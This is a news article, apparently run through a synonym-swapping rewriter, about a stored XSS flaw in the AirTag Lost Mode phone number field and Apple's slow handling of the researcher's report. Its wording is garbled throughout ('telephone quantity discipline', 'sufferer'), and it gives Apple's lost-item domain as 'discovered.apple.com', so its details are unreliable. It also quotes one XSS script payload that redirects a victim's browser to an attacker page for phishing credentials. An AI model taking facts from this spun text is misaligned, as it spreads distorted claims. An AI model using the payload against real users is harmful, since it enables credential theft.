The hits maintain coming to Apple’s bug-bounty program, which safety researchers say is gradual and inconsistent to answer its vulnerability stories.
This time, the vuln du jour is because of failure to sanitize a user-input discipline—particularly, the telephone quantity discipline AirTag house owners use to establish their misplaced gadgets.
The Good Samaritan assault
Safety guide and penetration tester Bobby Rauch found that Apple’s AirTags—tiny gadgets which may be affixed to continuously misplaced objects like laptops, telephones, or automotive keys—do not sanitize person enter. This oversight opens the door for AirTags for use in a drop attack. As an alternative of seeding a goal’s parking zone with USB drives loaded with malware, an attacker can drop a maliciously ready AirTag.
This type of assault does not want a lot technological know-how—the attacker merely sorts legitimate XSS into the AirTag’s telephone quantity discipline, then places the AirTag in Misplaced mode and drops it someplace the goal is prone to discover it. In idea, scanning a misplaced AirTag is a protected motion—it is solely alleged to pop up a webpage at https://discovered.apple.com/. The issue is that
discovered.apple.com then embeds the contents of the telephone quantity discipline within the web site as displayed on the sufferer’s browser, unsanitized.
The obvious solution to exploit this vulnerability, Rauch stories, is to make use of easy XSS to pop up a faux iCloud login dialog on the sufferer’s telephone. This does not take a lot in any respect in the way in which of code:
<script>window.location='https://path/to/badsite.tld/web page.html';var a="";</script>
discovered.apple.com innocently embeds the XSS above into the response for a scanned AirTag, the sufferer will get a popup window which shows the contents of
badside.tld/web page.html. This may be a zero-day exploit for the browser or just a phishing dialog. Rauch hypothesizes a faux iCloud login dialog, which may be made to look similar to the actual factor—however which dumps the sufferer’s Apple credentials onto the goal’s server as a substitute.
Though it is a compelling exploit, it is certainly not the one one accessible—absolutely anything you are able to do with a webpage is on the desk and accessible. That ranges from easy phishing as seen within the above instance to exposing the sufferer’s telephone to a zero-day no-click browser vulnerability.
Extra technical element—and easy movies displaying each the vulnerability, and the community exercise spawned by Rauch’s exploit of the vulnerability—can be found at Rauch’s public disclosure on Medium.
This public disclosure delivered to you by Apple
Rauch informed Krebs that he initially disclosed the vulnerability privately to Apple on June 20, however for 3 months all the corporate would inform him is that it was “nonetheless investigating.” That is an odd response for what seems to be an very simple bug to confirm and mitigate. Final Thursday, Apple emailed Rauch to say the weak spot can be addressed in a coming replace, and it requested that he not discuss it publicly within the meantime.
Apple by no means responded to fundamental questions Rauch requested, resembling whether or not it had a timeline for fixing the bug, whether or not it deliberate to credit score him for the report, and whether or not it might qualify for a bounty. The dearth of communication from Cupertino prompted Rauch to go public on Medium, even though Apple requires researchers to maintain quiet about their discoveries if they need credit score and/or compensation for his or her work.
Rauch expressed willingness to work with Apple however requested the corporate to “present some particulars of while you plan on remediating this, and whether or not there can be any recognition or bug bounty payout.” He additionally warned the corporate that he deliberate to publish in 90 days. Rauch says that Apple’s response was “mainly, we might recognize it in the event you did not leak this.”
We have now reached out to Apple for remark and can replace right here with any reply.